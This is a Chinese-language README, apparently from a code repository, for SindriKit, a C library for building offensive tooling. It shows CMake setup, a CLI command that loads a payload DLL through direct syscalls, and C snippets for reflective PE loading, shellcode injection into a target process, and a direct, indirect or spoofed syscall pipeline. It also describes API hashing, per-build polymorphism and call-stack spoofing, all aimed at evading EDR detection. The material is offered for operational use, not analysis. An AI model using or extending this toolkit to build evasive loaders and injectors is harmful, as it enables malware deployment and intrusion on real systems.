攻击性开发值得更好的架构。
一个用于构建攻击性能力的 C 库。
大多数攻击性工具将执行机制硬编码在技术逻辑内部。一个反射加载器不仅仅是映射一个映像;它使用特定的、硬编码的 VirtualAlloc 或原生 NTAPI 调用链来映射它。当 EDR 开始监控该特定调用链时,你被迫重写整个工具。
SindriKit 通过接口抽象表强制实现关注点分离来解决这个问题:
通过将执行机制转移到运行时函数指针,你可以用一行代码将整个策略从 Win32 调用切换为原始直接系统调用——而无需更改你的载荷执行逻辑。
snd_memory_api_t、snd_module_api_t、snd_process_api_t、snd_thread_api_t、snd_mapping_api_t、snd_file_api_t)交换内存、模块、映射、进程、线程和文件机制,而无需触及技术逻辑。snd_syscall_resolve_ssn_scan、snd_syscall_resolve_ssn_sort)具有优先级链,与调用器解耦:直接、间接(NTDLL gadget)或欺骗(动态 Fat-Frame 调用栈欺骗)。snd_status_t——一个打包的设施/本地代码加上捕获的操作系统错误,其上下文字符串在静默层中编译时被移除。SND_MORPH 实现深度多态。每次构建时通过向 C 代码注入易变的 opaque predicates、向汇编存根注入功能等效的数学/NOP,以及打乱核心结构体的内存布局,生成唯一的二进制签名。SND_CRTLESS 构建更进一步,使用 /NODEFAULTLIB、无 SDK 头文件、PEB 前端和仅原生后端。该仓库附带一个单一的 unified CLI,可演练每个配置文件:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified 支持 load pe|coff、inject classic|apc|hijack(shell、PE、COFF)和 hg,每个都可通过 --win/--nt/--sys 选择。参见示例与 PoC和入门指南。
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
只需两行代码,你的工具即可继承 SindriKit 的所有能力:PE 和 COFF 解析、反射加载、级联系统调用和注入配置文件。
┌────────────────────────────────────────────────────────────────────────────┐
│ 任意攻击性意图 │
│ 加载器 · 注入器 · 欺骗器 · 补丁器 · 绕过器 · 收集器 · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API 抽象层 │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls 引导) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 配置文件 │ 原生配置文件 │ 自带机制 │
│ VirtualAlloc │ NtAllocateVirtual │ 驱动 · ROP · 奇异 │
│ LoadLibraryA │ PEB 遍历 + EAT │ 操作者定义的函数 │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
在实践中,这意味着每个领域都遵循相同的契约:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit 将系统调用解析视为一种可注入的机制,按优先级顺序堆叠策略。引擎会依次尝试直到一个成功:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
调用器与 SSN 解析解耦——无需修改领域代码即可在直接、间接和欺骗系统调用之间切换。间接调用跳转到合法的 NTDLL gadget,使返回地址保持在 ntdll.dll 内部;欺骗调用还会在动态发现的“Fat Frame”中植入真实的调用者返回地址,使调用栈展开保持连贯。
每个 API 名称和模块字符串在编译时通过单个 CMake 变量从最终二进制文件中移除:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
每个哈希都使用随机生成的种子计算(如果 SND_RANDOMIZE_SEED=ON)。静态足迹在编译之间完全改变,而无需触及一行 C 代码。
一个自定义的 MASM 汇编桥接,用于任意运行时函数调用。x64 构建精确遵循 Microsoft x64 调用约定(影子空间、寄存器参数放置、栈对齐)。x86 构建按相反顺序压入参数,并支持 cdecl 和 stdcall 目标。
一个统一的 PE32/PE32+ 解析器,带有 is_mapped 标志,可正确处理原始磁盘映像和内存映射视图。每个数据目录访问在解引用之前都会根据跟踪的缓冲区边界进行验证。导出解析支持深度达 4 的转发器链,并使用基于哈希的查找。
已针对以下内容测试:
pe_mutator 模块生成的动态 PE 变异:清零节名称、整数溢出、无效的 e_lfanew 边界、损坏的导入。第二种加载器技术处理未链接的 COFF 对象文件(Beacon Object Files):对头、节、符号和重定位进行有界解析;通过注入的 mod_api 解析 MODULE$Function 外部符号;用于超出范围调用的 x64 JMP [RIP+0] 跳板;以及执行命名入口点(默认 go)——本地或编组到远程进程。
每个攻击性操作都通过一个离散的上下文结构进行管理,并带有阶段枚举。操作可以在阶段之间暂停以进行睡眠混淆或分阶段部署,干净地恢复,并检查确切的失败点,精确到子系统和原因。
一次性引导系统调用管道(典型模式):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
调用器与 SSN 解析解耦——无需修改领域代码即可在直接、间接和欺骗系统调用之间切换。间接调用跳转到合法的 NTDLL gadget,使返回地址保持在 ntdll.dll 内部;欺骗调用还会在动态发现的“Fat Frame”中植入真实的调用者返回地址,使调用栈展开保持连贯。
通过一次赋值交换执行配置文件:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
模块解析遵循相同的模式(snd_mod_win 与 snd_mod_nt)。没有由系统调用支持的模块后端——即使在完整的 _sys 配置文件中,导入也使用 PEB 遍历 + EAT。
SND_ENABLE_DEBUG=ON用于本地开发。snd_status_t 扩展为包含 file、line 和一个 128 字节的 context 字符串缓冲区。SND_ERR_CTX 和 SND_DEBUG_PRINT 输出状态机转换、解析的 PE 字段值和系统调用解析结果。使用 SND_USE_PRINTF=ON 将输出路由到 stdout 而不是调试控制台。
SND_ENABLE_DEBUG=OFF用于操作二进制文件的标准部署配置。每个诊断字符串、文件引用和行号都完全编译移除。snd_status_t 折叠为两个整数。仅此而已。SND_CRTLESS=ON 构建进一步叠加 /NODEFAULTLIB、无 Windows SDK 头文件、PEB 命令行前端和仅原生后端。